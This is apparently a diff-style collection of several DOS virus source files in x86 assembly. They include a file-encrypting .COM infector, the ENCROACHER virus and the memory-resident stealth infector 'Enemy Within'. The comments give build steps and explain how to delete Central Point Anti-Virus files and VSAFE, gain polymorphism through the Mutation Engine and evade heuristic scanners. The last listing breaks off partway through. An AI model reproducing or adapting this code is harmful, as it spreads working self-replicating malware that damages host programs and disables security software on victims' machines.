push bx
|
||||
push ds
|
||||
mov ax, 24h ; check if we are already in 24:0
|
||||
mov ds, ax
|
||||
cmp word ptr ds:[0], 2E9Ch ; PUSHF/CS:
|
||||
pop ds
|
||||
jz AlreadyInstalled
|
||||
lea si, [bx+offset EMM]
|
||||
mov ax, 3567h
|
||||
int 21h ; get segment of EMM386
|
||||
mov di, 0Ah
|
||||
mov cx, 8
|
||||
rep cmpsb ; is really EMM386?
|
||||
jnz AlreadyInstalled
|
||||
mov ah, 42h
|
||||
int 67h ; Number of pages
|
||||
cmp bx, 1
|
||||
jl AlreadyInstalled ; less than 1, abort install
|
||||
mov ah, 41h
|
||||
int 67h ; get page frame
|
||||
pop si
|
||||
mov cs:[si+PageFrame], bx ; save it
|
||||
mov es, bx
|
||||
mov ah, 43h
|
||||
mov bx, 1
|
||||
int 67h ; allocate 1 page
|
||||
mov cs:[si+Page_], dx
|
||||
mov ax, 4400h
|
||||
mov bx, 0
|
||||
int 67h ; map memory
|
||||
mov ax, 3521h
|
||||
int 21h ; get adress of int21
|
||||
mov word ptr cs:[si+Old21], bx ; save it
|
||||
mov word ptr cs:[si+Old21+2], es
|
||||
mov es, cs:[si+offset PageFrame]
|
||||
xor di, di
|
||||
mov cx, 19Bh ; copy our code to our page
|
||||
rep movsb
|
||||
mov ax, 4400h
|
||||
mov bx, 0FFFFh
|
||||
int 67h ; unmap memory
|
||||
mov di, 24h
|
||||
mov bx, di
|
||||
mov es, di
|
||||
xor di, di
|
||||
pop si
|
||||
add si, 11h
|
||||
mov cx, offset Int21Handler-offset LowMemCode
|
||||
rep movsb ; move int21 handler to IVT
|
||||
mov ds, bx
|
||||
xor dx, dx
|
||||
mov ax, 2521h ; point int21 to 24:0
|
||||
int 21h
|
||||
jmp InstalledOk
|
||||
AlreadyInstalled:
|
||||
add sp, 4 ; fix stack if error
|
||||
InstalledOk:
|
||||
pop ds
|
||||
pop es
|
||||
pop si
|
||||
pop bx
|
||||
ret ; return
|
||||
VEnd = $
|
||||
End VirusStart
|
||||
@@ -0,0 +1,189 @@
|
||||
;This virus encrypts the first 666 bytes of the host
|
||||
;Its based off of the small virus
|
||||
|
||||
CSEG SEGMENT
|
||||
ASSUME CS:CSEG, DS:CSEG
|
||||
|
||||
ORG 100h
|
||||
|
||||
JUMPS
|
||||
|
||||
Virus_Length equ End_Virus-Begin_Virus
|
||||
|
||||
Start:
|
||||
jmp Begin_Virus
|
||||
db 700 dup (90h)
|
||||
|
||||
Begin_Virus:
|
||||
call Delta
|
||||
|
||||
Delta:
|
||||
pop bp
|
||||
sub bp,offset Delta
|
||||
push si
|
||||
push si
|
||||
|
||||
call Crypt
|
||||
|
||||
mov ah,1ah
|
||||
lea dx,[bp+DTA]
|
||||
int 21h
|
||||
|
||||
xor word ptr [bp+OldBytes],0deadh
|
||||
xor word ptr [bp+OldBytes+2],0a55h
|
||||
|
||||
pop di
|
||||
lea si,[bp+OldBytes]
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov ah,4eh
|
||||
mov cx,7h
|
||||
lea dx,[bp+ComMask]
|
||||
|
||||
Find_Next:
|
||||
call Dec_
|
||||
int 21h
|
||||
call Inc_
|
||||
jc Return
|
||||
|
||||
cmp word ptr [bp+DTA+1ah],1024
|
||||
jb Find_Next_
|
||||
|
||||
mov ax,3d02h
|
||||
lea dx,[bp+DTA+1eh]
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,4
|
||||
lea dx,[bp+OldBytes]
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [bp+OldBytes],'M'
|
||||
je Close_Find_Next
|
||||
|
||||
xor word ptr [bp+OldBytes],0deadh
|
||||
xor word ptr [bp+OldBytes+2],0a55h
|
||||
|
||||
call Move_Begin
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,666
|
||||
lea dx,[bp+HostBuffr]
|
||||
push dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
mov word ptr [bp+Key],dx
|
||||
|
||||
pop si
|
||||
|
||||
call Crypt
|
||||
call Move_Begin
|
||||
|
||||
mov ah,40h
|
||||
mov cx,666
|
||||
lea dx,[bp+HostBuffr]
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
call Move_Fp
|
||||
|
||||
sub ax,4
|
||||
mov word ptr [bp+NewBytes+2],ax
|
||||
|
||||
mov ah,40h
|
||||
mov cx,Virus_Length
|
||||
lea dx,[bp+Begin_Virus]
|
||||
int 21h
|
||||
|
||||
mov ax,4200h
|
||||
call Move_Begin
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
lea dx,[bp+NewBytes]
|
||||
int 21h
|
||||
|
||||
Close_Find_Next:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
Find_Next_:
|
||||
mov ah,4fh
|
||||
jmp Find_Next
|
||||
|
||||
Dec_:
|
||||
mov cx,5
|
||||
lea si,[bp+ComMask]
|
||||
mov di,si
|
||||
Dec_Loop:
|
||||
lodsb
|
||||
dec al
|
||||
stosb
|
||||
loop Dec_Loop
|
||||
xor al,al
|
||||
stosb
|
||||
ret
|
||||
|
||||
Inc_:
|
||||
mov cx,5
|
||||
lea si,[bp+ComMask]
|
||||
mov di,si
|
||||
Inc_Loop:
|
||||
lodsb
|
||||
inc al
|
||||
stosb
|
||||
loop Inc_Loop
|
||||
mov al,"6"
|
||||
stosb
|
||||
ret
|
||||
|
||||
;ComMask db "*.COM",0
|
||||
ComMask db "+/DPN6"
|
||||
NewBytes db "M",0e9h,0,0
|
||||
;OldBytes db 0cdh,20h,0,0
|
||||
OldBytes dw 0fe60h
|
||||
dw 0a55h
|
||||
|
||||
Move_Begin:
|
||||
mov ax,4200h
|
||||
|
||||
Move_Fp:
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
ret
|
||||
|
||||
Return:
|
||||
mov ah,1ah
|
||||
mov dx,80h
|
||||
int 21h
|
||||
ret
|
||||
|
||||
Crypt:
|
||||
push bx
|
||||
mov cl,4
|
||||
mov dx,word ptr [bp+Key]
|
||||
ror dx,cl
|
||||
mov cx,333
|
||||
mov di,si
|
||||
Xor_Loop:
|
||||
lodsw
|
||||
xor ax,dx
|
||||
stosw
|
||||
loop Xor_Loop
|
||||
pop bx
|
||||
ret
|
||||
|
||||
Key dw 0000h
|
||||
|
||||
End_Virus:
|
||||
DTA db 42 dup (?)
|
||||
HostBuffr db 666 dup (?)
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
@@ -0,0 +1,338 @@
|
||||
;***************************************************************************
|
||||
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
|
||||
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
|
||||
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
|
||||
; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's
|
||||
; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation
|
||||
; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8.
|
||||
;
|
||||
; 1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8.
|
||||
; 2. The reader must also have the MtE091b object files (not included in
|
||||
; the newsletter but commonly available as the Mutation Engine at most
|
||||
; good virus info archive sites.)
|
||||
; 3. Place all files in ENCROACHER assembly directory.
|
||||
; 4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path.
|
||||
;
|
||||
; ENCROACHER is a simple .COM appending virus which strikes the Central Point
|
||||
; Anti-virus software in a direct manner. CPAV stores a file called
|
||||
; chklist.cps in every directory that contains executable programs. This file
|
||||
; contains the integrity (or checksum) data on each program in that
|
||||
; directory. It is the library file that CPAV refers to when scanning for
|
||||
; unknown viruses. By comparing 'newly checksummed' files with its data
|
||||
; in chklist.cps, CPAV locates change, corruption or generic virus infection.
|
||||
; Eliminating these files before virus infection forces Central Point
|
||||
; Antivirus to create new 'checklist' data for the directory, AFTER the
|
||||
; virus has acted. Therefore, the virus-infected file becomes
|
||||
; a legal part of Central Point's freshly calculated integrity data.
|
||||
; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing
|
||||
; the anti-virus software to constantly update its data, effectively
|
||||
; making this feature unreliable. In my experience,
|
||||
; the CPAV software does not protest the elimination of these files in an
|
||||
; appropriate manner.
|
||||
;
|
||||
; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program
|
||||
; in its default installation directory before infection. This is a
|
||||
; direct attack and is more likely to be noticed than the
|
||||
; disappearance and reappearance of dozens of very small chklist.cps
|
||||
; files. Because it is a strong move, one can be of mixed mind about using it.
|
||||
; An alert user SHOULD recognize something wrong almost immediately.
|
||||
; However, it is included to illustrate the point that while it presumes
|
||||
; apriori knowledge concerning the location of CPAV software on the system,
|
||||
; many users can STILL be expected to be lazy (and/or stupid) and use the
|
||||
; vulnerable shrink-wrapped software recommendations for installation.
|
||||
;
|
||||
; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful
|
||||
; program for the detection of virus-mediated opening, closing and writing
|
||||
; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS.
|
||||
; The user may add attack of this component to the source code if he wishes.)
|
||||
; If Central Point's DEFAULT installation is in place and VSAFE is in
|
||||
; memory, ENCROACHER will remove it since, generally, the program
|
||||
; is merely configured to scan for known viruses, add chklist.cps files
|
||||
; to program directories and lock out writes to the boot record. If all
|
||||
; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it
|
||||
; attempts to destroy VSAFE. However, since these VSAFE features are
|
||||
; not practical for everyday computing needs, it can be
|
||||
; assumed relatively safe to disregard them as a threat to ENCROACHER. (The
|
||||
; reader is invited to add a routine which will make a call to VSAFE
|
||||
; if in memory. If VSAFE is resident, the routine could be written to
|
||||
; instruct the virus to go to sleep until the danger is past.)
|
||||
;
|
||||
; Central Point Anti-virus contains a third program known as VWATCH. It
|
||||
; can be safely ignored by ENCROACHER.
|
||||
;
|
||||
; ENCROACHER's anti-virus software countermeasures can be quickly adapted
|
||||
; to almost any commercial software of choice. Access to manuals or
|
||||
; copies of the Norton Antivirus, Fifth Generation's Untouchable or
|
||||
; Leprechaun Software's Virus-Buster have all the information needed to
|
||||
; allow the homebrew researcher to reconfigure the virus so that it can
|
||||
; attack these programs in an educated manner.
|
||||
;
|
||||
; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script.
|
||||
; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected
|
||||
; programs sometime in the evening hours.
|
||||
;
|
||||
; General features: ENCROACHER will infect all .COM programs in its current
|
||||
; directory. When finished, it will jump to the root of the current directory
|
||||
; and continue its work.
|
||||
; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt.
|
||||
; (Sorry, deadline was approaching for the newsletter and I had to get this
|
||||
; baby to bed.)
|
||||
;
|
||||
; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM! The operating
|
||||
; system WILL continue to load properly. ENCROACHER quickly deletes
|
||||
; Central Point software programs on start-up. There is no noticeable
|
||||
; delay in infection times between it and a copy of the virus lacking
|
||||
; these features.
|
||||
; ENCROACHER will quickly infect down the trunk of any directory structure.
|
||||
;
|
||||
; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once
|
||||
; it has spread out onto a system.
|
||||
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near, rnd_get: near, rnd_init: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
call locadr
|
||||
reladr:
|
||||
db 'ENCROACHER is here'
|
||||
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
sub dx,10
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset old_cod
|
||||
movsb ;Restore first 3 bytes
|
||||
movsw
|
||||
push ax
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
mov ax,3524 ;Hook INT 24
|
||||
int 21
|
||||
push es bx
|
||||
mov dx,offset fail_err
|
||||
mov ax,2524
|
||||
int 21
|
||||
killcps: ; clear CPS integrity files from startup directory
|
||||
mov dx,offset killfile ; DX points to data mask: chklist.cps
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; All file attributes valid
|
||||
int 021h
|
||||
jc erase_done ; Exit procedure on failure
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
lea dx,[bx + 01Eh] ; DX points to filename in DTA
|
||||
erase_loop:
|
||||
mov ah,041h ; DOS delete file function
|
||||
int 021h
|
||||
mov ah,03Ch ; DOS create file function
|
||||
xor cx,cx ; No attributes for new file
|
||||
int 021h
|
||||
mov ah,041h ; DOS delete file function
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc erase_loop ; Repeat until no files left
|
||||
erase_done:
|
||||
|
||||
|
||||
jmp killcpav ; chklist.cps gone, go for CPAV.EXE
|
||||
; in factory installation
|
||||
|
||||
|
||||
killcpav: ; clear CPAV master executable from default directory
|
||||
mov dx,offset killfile2 ; DX points to filename
|
||||
mov ah,41h ; DOS erase file function
|
||||
int 21h
|
||||
jc killvsafe
|
||||
|
||||
killvsafe:
|
||||
mov dx,offset killfile3
|
||||
mov ah,41h
|
||||
int 21h
|
||||
jc erase_done2
|
||||
|
||||
erase_done2:
|
||||
jmp getonwithit
|
||||
|
||||
getonwithit: ;get on with infecting files
|
||||
xor ax,ax ;Initialize random number generator
|
||||
mov [rnd_buf],ax ;for Mutation Engine use
|
||||
call rnd_init
|
||||
push sp
|
||||
pop cx
|
||||
sub cx,sp
|
||||
add cx,4
|
||||
push cx
|
||||
|
||||
find_lup1:
|
||||
mov dx,offset srchnam ;COMfile mask for clean file search
|
||||
mov cl,3
|
||||
mov ah,4e ;find a file
|
||||
|
||||
find_lup2:
|
||||
int 21 ;Find the next COM file
|
||||
jc ch_dir ;if no files or no uninfected files in current dir, change to root
|
||||
cmp [dta_buf+1a],ch
|
||||
jnz infect ;If not infected, infect it now
|
||||
pop cx
|
||||
find_nxt:
|
||||
push cx
|
||||
mov dx,offset dta_buf
|
||||
mov ah,4f ;found an infected file, find another
|
||||
jmp find_lup2
|
||||
|
||||
ch_dir:
|
||||
mov dx,offset dotdot
|
||||
mov ah,3bh ; Change directory to root of current
|
||||
int 21h
|
||||
jnc find_lup1 ; Carry set if in root
|
||||
; loop to search for clean files
|
||||
infect_done:
|
||||
pop cx
|
||||
loop find_nxt
|
||||
jnc exit2
|
||||
call rnd_get ;extraneous garbage code
|
||||
test al,1 ; " " "
|
||||
jz exit2 ; " " "
|
||||
|
||||
exit1: popf ;return control and get set to clean up
|
||||
|
||||
exit2:
|
||||
pop dx ds
|
||||
mov ax,2524 ;Restore old INT 24
|
||||
int 21
|
||||
push ss
|
||||
pop ds
|
||||
mov dx,80 ;Restore DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
push ds ;Exit to host program
|
||||
pop es
|
||||
pop ax
|
||||
retf
|
||||
infect:
|
||||
xor cx,cx ;Reset read-only attribute
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,4301
|
||||
int 21
|
||||
jc infect_done ;if fail, get set to leave
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
jc infect_done ;if fail, get set to leave
|
||||
xchg ax,bx
|
||||
mov dx,offset old_cod ;Read first 3 bytes
|
||||
mov cx,3
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc read_done ;file already infected, skip it
|
||||
mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
|
||||
cmp ax,'ZM'
|
||||
jz read_done ;if it is, skip it
|
||||
cmp ax,'MZ'
|
||||
jz read_done
|
||||
xor cx,cx ;Seek to end of file
|
||||
xor dx,dx
|
||||
mov ax,4202
|
||||
int 21
|
||||
test dx,dx ;Make sure the file is not too big
|
||||
jnz read_done
|
||||
cmp ax,-2000
|
||||
jnc read_done
|
||||
mov bp,ax
|
||||
sub ax,3
|
||||
mov word ptr [new_cod+1],ax
|
||||
mov ax,5700 ;Save file's date/time
|
||||
int 21
|
||||
push dx cx
|
||||
mov ax,offset data_top+0f
|
||||
mov cl,4 ;Now call the Mutation Engine
|
||||
shr ax,cl
|
||||
mov cx,cs
|
||||
add ax,cx
|
||||
mov es,ax
|
||||
mov dx,offset start ;dx points to start of ENCROACHER
|
||||
mov cx,offset _DATA ;cx contains ENCROACHER length
|
||||
push bp bx
|
||||
add bp,dx ;bp contains address where MtE hands control to ENCROACH
|
||||
xor si,si ;si=0, MtE required value
|
||||
xor di,di ;di=0, MtE required value
|
||||
mov bl,0f ;bl=0f,MtE 'medium' model required
|
||||
mov ax,101 ;set bit-field in ax, MtE values
|
||||
call mut_engine
|
||||
pop bx ax
|
||||
add ax,cx ;Make sure file length mod 256 = 0
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add cx,ax
|
||||
mov ah,40 ;Put the virus into the file
|
||||
int 21
|
||||
push cs
|
||||
pop ds
|
||||
sub cx,ax
|
||||
xor dx,dx ;Write the JMP instruction
|
||||
mov ax,4200
|
||||
int 21
|
||||
mov dx,offset new_cod
|
||||
mov cx,3
|
||||
mov ah,40
|
||||
int 21
|
||||
write_done:
|
||||
pop cx dx ;Restore file's date/time
|
||||
mov ax,5701
|
||||
int 21
|
||||
jmp read_done2
|
||||
|
||||
read_done:
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
jmp infect_done ;in this case, no infection so
|
||||
;try for another search
|
||||
read_done2:
|
||||
mov ah,3e
|
||||
int 21
|
||||
jmp exit1 ;successfully infected file,
|
||||
;jump to host execution
|
||||
fail_err: ;Critical error handler
|
||||
mov al,3 ;protects ENCROACHER from exposing
|
||||
iret ;itself on a write-protected disk
|
||||
;or diskette
|
||||
|
||||
srchnam db '*.COM',0
|
||||
killfile db 'CHKLIST.CPS',0 ;CPAV file integrity data archive
|
||||
killfile2 db 'C:\CPAV\CPAV.EXE',0 ;default location and name of
|
||||
;CPAV master program
|
||||
killfile3 db 'C:\CPAV\VSAFE.COM',0 ;CPAV r/w resident protection program
|
||||
|
||||
old_cod: ;Buffer to read first 3 bytes
|
||||
ret
|
||||
dw ?
|
||||
|
||||
new_cod: ;Buffer to write first 3 bytes
|
||||
jmp $+100
|
||||
|
||||
.data
|
||||
|
||||
dotdot db '..',0 ;change directory trick
|
||||
dta_buf db 2bh dup(?) ;Buffer for DTA
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,437 @@
|
||||
; [Enemy Within] v1.00 by Crypt Keeper -Phalcon/Skism-
|
||||
;
|
||||
; Enemy Within is a memory resident virus that infects EXE and overlay files
|
||||
; with directory size increases hidden. I'll be using this as a base for
|
||||
; future more advanced viruses.
|
||||
;
|
||||
; Enemy Within infects EXEs and overlays on file Open, Get/Set
|
||||
; attributes, and execute.
|
||||
;
|
||||
; TASM ENEMY.ASM /M3
|
||||
; TLINK ENEMY.OBJ /t
|
||||
; .COM file can be executed with no modifications
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h ;make this a com file
|
||||
|
||||
enemy_within:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vlength equ vbot-offset(enemy_within) ;Virus length in bytes
|
||||
heapsiz equ hbot-htop ;size of heap data in bytes
|
||||
ressize equ 1024/16 ;Virus size resident
|
||||
virusid equ 08AC5h ;Virus ID word in EXE header
|
||||
chkfunc equ 0FFFEh ;Check resident function for int 21h
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
push ds es ;save startup registers
|
||||
|
||||
db 0BDh ;mov bp,
|
||||
delta dw 0 ;delta offset
|
||||
|
||||
xor ax,ax
|
||||
dec ax
|
||||
dec ax ;AX=FFFE (check resident function)
|
||||
int 21h ;check if virus is resident
|
||||
|
||||
inc ax ;is virus resident (zero if yes)
|
||||
jz return ;if so, don't install
|
||||
|
||||
;Microsoft Windows/Desqview compatable load resident routine
|
||||
install:
|
||||
mov bx,ressize ;amount of memory to request
|
||||
mov ah,48h ;allocate memory
|
||||
int 21h
|
||||
|
||||
jc not_enough_memory ;carry set means allocation error
|
||||
|
||||
mov es,ax ;ax=segment of allocated memory
|
||||
|
||||
dec ax
|
||||
mov ds,ax ;segment of MCB for memory
|
||||
mov word ptr ds:[01h],08h ;set memory block as independant
|
||||
jmp short memory_allocation_complete
|
||||
not_enough_memory:
|
||||
pop ax
|
||||
push ax ;get PSP value off stack
|
||||
mov es,ax ;ES=PSP for set memory block size
|
||||
dec ax
|
||||
mov ds,ax ;get segment of this program's MCB
|
||||
|
||||
mov bx,word ptr ds:[03h] ;get size of current block
|
||||
dec bx ;decrease size of memory block
|
||||
|
||||
mov ah,4Ah ;set memory block size
|
||||
int 21h
|
||||
|
||||
jc return ;return if allocation error
|
||||
jmp short install ;try to allocate again
|
||||
memory_allocation_complete:
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
push es ;save found target segment
|
||||
|
||||
mov ax,3521h ;get int 21h vector
|
||||
int 21h
|
||||
|
||||
mov [bp+offset(i21vecs)],es
|
||||
mov [bp+offset(i21veco)],bx
|
||||
|
||||
pop es
|
||||
|
||||
mov cx,(vlength+heapsiz+1)/2 ;words to move
|
||||
mov di,100h ;destination in memory
|
||||
lea si,[bp+offset(enemy_within)] ;source of viral code
|
||||
|
||||
rep movsw ;copy ourselves up there
|
||||
|
||||
push es
|
||||
pop ds ;segment to set int vector
|
||||
mov dx,offset(i21vec) ;int 21h vector
|
||||
|
||||
mov ax,2621h ;set int 21h vector
|
||||
dec ah ;without setting off mem resident
|
||||
int 21h ;code heuristic flags
|
||||
|
||||
return: pop bx ;segment of PSP
|
||||
mov es,bx
|
||||
|
||||
add bx,16 ;compensate for PSP size
|
||||
add cs:[bp+offset(old_cs)],bx ;add PSP to initial CS
|
||||
|
||||
pop ds ;restore old DS register
|
||||
|
||||
cli ;clear interrupt enable flag
|
||||
mov ax,cs:[bp+offset(old_ss)] ;old SS register
|
||||
add ax,bx ;add PSP adress
|
||||
mov ss,ax
|
||||
db 0BCh ;mov sp,
|
||||
old_sp dw 0 ;old stack pointer
|
||||
sti ;set interrupt enable flag
|
||||
|
||||
jmp dword ptr cs:[bp+offset(old_ip)] ;jump to original EXE code
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vname db '[Enemy Within] Crypt Keeper - Phalcon/Skism'
|
||||
|
||||
old_ip dw 0
|
||||
old_cs dw 0FFF0h ;Old CS:IP
|
||||
|
||||
old_ss dw 0FFF0h ;old stack segment
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
i21vec: cmp ax,chkfunc ;check resident function?
|
||||
jne no_check_func
|
||||
|
||||
inc ax ;increment AX
|
||||
iret ;return from interrupt
|
||||
|
||||
no_check_func:
|
||||
inc ah ;avoid execute intercept heuristic flags
|
||||
|
||||
cmp ax,4C00h ;load and execute program?
|
||||
je _infect_on_exec
|
||||
|
||||
cmp ax,4C01h ;load program?
|
||||
je _infect_on_exec
|
||||
|
||||
cmp ax,4C03h ;load overlay?
|
||||
je _infect_on_exec
|
||||
|
||||
dec ah ;return AX to normal
|
||||
|
||||
cmp ah,3Dh ;open file with handle?
|
||||
je _infect_on_open
|
||||
|
||||
cmp ax,4300h ;get file attributes?
|
||||
je _infect_on_open
|
||||
|
||||
cmp ax,4301h ;set file attributes?
|
||||
je _infect_on_open
|
||||
|
||||
cmp ah,11h ;find first file (FCB)?
|
||||
je FCB_dir_stealth
|
||||
|
||||
cmp ah,12h ;find next file (FCB)?
|
||||
je FCB_dir_stealth
|
||||
|
||||
cmp ah,4Eh ;find first file (DTA)?
|
||||
je DTA_dir_stealth
|
||||
|
||||
cmp ah,4Fh ;find next file (DTA)?
|
||||
je DTA_dir_stealth
|
||||
|
||||
exit_interrupt_chained:
|
||||
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
|
||||
_infect_on_exec:
|
||||
dec ah ;return AX to normal
|
||||
_infect_on_open:
|
||||
jmp infect_file ;and attempt to infect
|
||||
|
||||
FCB_dir_stealth:
|
||||
call function ;go ahead and execute
|
||||
|
||||
pushf
|
||||
push dx cx bx es ax ;push all used registers
|
||||
|
||||
test al,al ;was find successful?
|
||||
jnz exit_interrupt_stealth
|
||||
|
||||
mov ah,51h ;Get PSP address
|
||||
int 21h
|
||||
|
||||
mov es,bx ;ES=PSP address
|
||||
|
||||
sub bx,word ptr es:[16h] ;parent PSP?
|
||||
jnz exit_interrupt_stealth
|
||||
|
||||
mov bx,dx
|
||||
mov al,byte ptr [bx] ;first byte of FCB
|
||||
|
||||
push ax
|
||||
|
||||
mov ah,2Fh ;get DTA adress
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
|
||||
inc al
|
||||
jnz checkFCBinfected ;extended FCB?
|
||||
|
||||
add bx,007h ;If so, make into normal
|
||||
|
||||
checkFCBinfected:
|
||||
mov ax,word ptr es:[bx+17h]
|
||||
mov cx,word ptr es:[bx+19h] ;Get time and date
|
||||
|
||||
call unmask ;unmask second and date
|
||||
|
||||
xor ax,cx ;file infected?
|
||||
jnz exit_interrupt_stealth ;exit stealth interrupt
|
||||
|
||||
sub word ptr es:[bx+01Dh],vlength
|
||||
sbb word ptr es:[bx+01Fh],ax ;subtract virus size
|
||||
|
||||
exit_interrupt_stealth:
|
||||
pop ax es bx cx dx
|
||||
popf ;pop all used registers
|
||||
exit_interrupt_stealthvec:
|
||||
retf 02h ;return with given flags
|
||||
|
||||
unmask: and ax,1Fh
|
||||
and cx,1Fh
|
||||
dec cx ;unmask seconds and date
|
||||
ret
|
||||
|
||||
DTA_dir_stealth: ;DTA directory size subtract
|
||||
call function ;go ahead and execute
|
||||
|
||||
jc exit_interrupt_stealthvec ;exit if function unsuccessful
|
||||
|
||||
pushf
|
||||
push dx cx bx es ax ;push all used registers
|
||||
|
||||
mov ah,2Fh ;get DTA adress
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr es:[bx+16h]
|
||||
mov cx,word ptr es:[bx+18h] ;get time and date stamps
|
||||
|
||||
call unmask ;unmask date and seconds
|
||||
|
||||
xor ax,cx ;is file infected?
|
||||
jnz exit_interrupt_stealth ;if not, don't subtract size
|
||||
|
||||
sub word ptr es:[bx+1Ah],vlength
|
||||
sbb word ptr es:[bx+1Ch],ax ;subtract virus size in bytes
|
||||
|
||||
jmp short exit_interrupt_stealth
|
||||
|
||||
move_pointer_end:
|
||||
xor cx,cx
|
||||
cwd ;zero cx and dx
|
||||
mov ax,4202h ;move pointer from EOF
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:i21veco ;simulate call to original int 21h
|
||||
ret
|
||||
open_readwrite: ;opens file at DS:DX for read/write
|
||||
mov ax,3D00h ;open for read only access
|
||||
call function
|
||||
|
||||
jc bad_open ;carry set means open error
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
push ax ;file handle
|
||||
mov bx,ax
|
||||
|
||||
mov ax,1220h ;get JFT entry
|
||||
int 2Fh
|
||||
|
||||
mov ax,1216h ;get SFT location
|
||||
mov bl,byte ptr es:[di] ;handle number
|
||||
int 2Fh
|
||||
|
||||
pop bx
|
||||
|
||||
mov word ptr es:[di+02h],2 ;set file for read/write
|
||||
ret
|
||||
bad_open:
|
||||
pop ax
|
||||
jmp short exit_infect ;exit if bad open
|
||||
infect_file:
|
||||
push ax si es di bx cx ds dx ;push all used registers
|
||||
|
||||
call open_readwrite ;open file for read/write access
|
||||
|
||||
mov cx,24 ;24 bytes of header to read
|
||||
mov dx,offset(exeheader) ;EXE header information
|
||||
|
||||
mov ah,3Fh ;read file or device
|
||||
int 21h
|
||||
|
||||
cmp cx,ax ;enough bytes read?
|
||||
jne bad_file ;if not, file too small
|
||||
|
||||
mov cx,exeid
|
||||
not cx ;check whether EXE file without
|
||||
cmp cx,0B2A5h ;tripping TBAV's check com/exe
|
||||
je disease_exe ;heuristic flag
|
||||
cmp cx,0A5B2h
|
||||
je disease_exe ;if MZ or ZM, go ahead and infect
|
||||
|
||||
bad_file:
|
||||
mov ah,3Eh ;close file with handle
|
||||
int 21h
|
||||
|
||||
exit_infect:
|
||||
pop dx ds cx bx di es si ax ;pop all used registers
|
||||
jmp exit_interrupt_chained ;execute rest of interrupt chain
|
||||
|
||||
disease_exe:
|
||||
cmp chksum,virusid ;file already infected?
|
||||
je bad_file ;if so, bad file
|
||||
|
||||
lds si,dword ptr es:[di+0Dh] ;get old file date and time
|
||||
push si ds ;and save
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
add minallc,ressize ;add virus size in paragraphs
|
||||
|
||||
push es ;save SFT segment
|
||||
|
||||
les si,dword ptr ds:initss ;get initial SS:SP (reversed)
|
||||
mov old_ss,si
|
||||
mov old_sp,es
|
||||
|
||||
les si,dword ptr ds:initip ;get initial CS:IP
|
||||
mov old_cs,es
|
||||
mov old_ip,si
|
||||
|
||||
pop es
|
||||
|
||||
call move_pointer_end ;move file pointer to end of file
|
||||
|
||||
mov cx,16
|
||||
div cx ;convert file size to seg:offset
|
||||
|
||||
sub ax,headers ;subtract header size from segment
|
||||
|
||||
mov initcs,ax
|
||||
mov initip,dx ;set initial cs:ip
|
||||
|
||||
sub dx,100h
|
||||
mov delta,dx ;set delta offset in virus code
|
||||
|
||||
add dx,offset(sspace)+64+100h
|
||||
mov initsp,dx
|
||||
mov initss,ax ;set initial SS:SP in exe header
|
||||
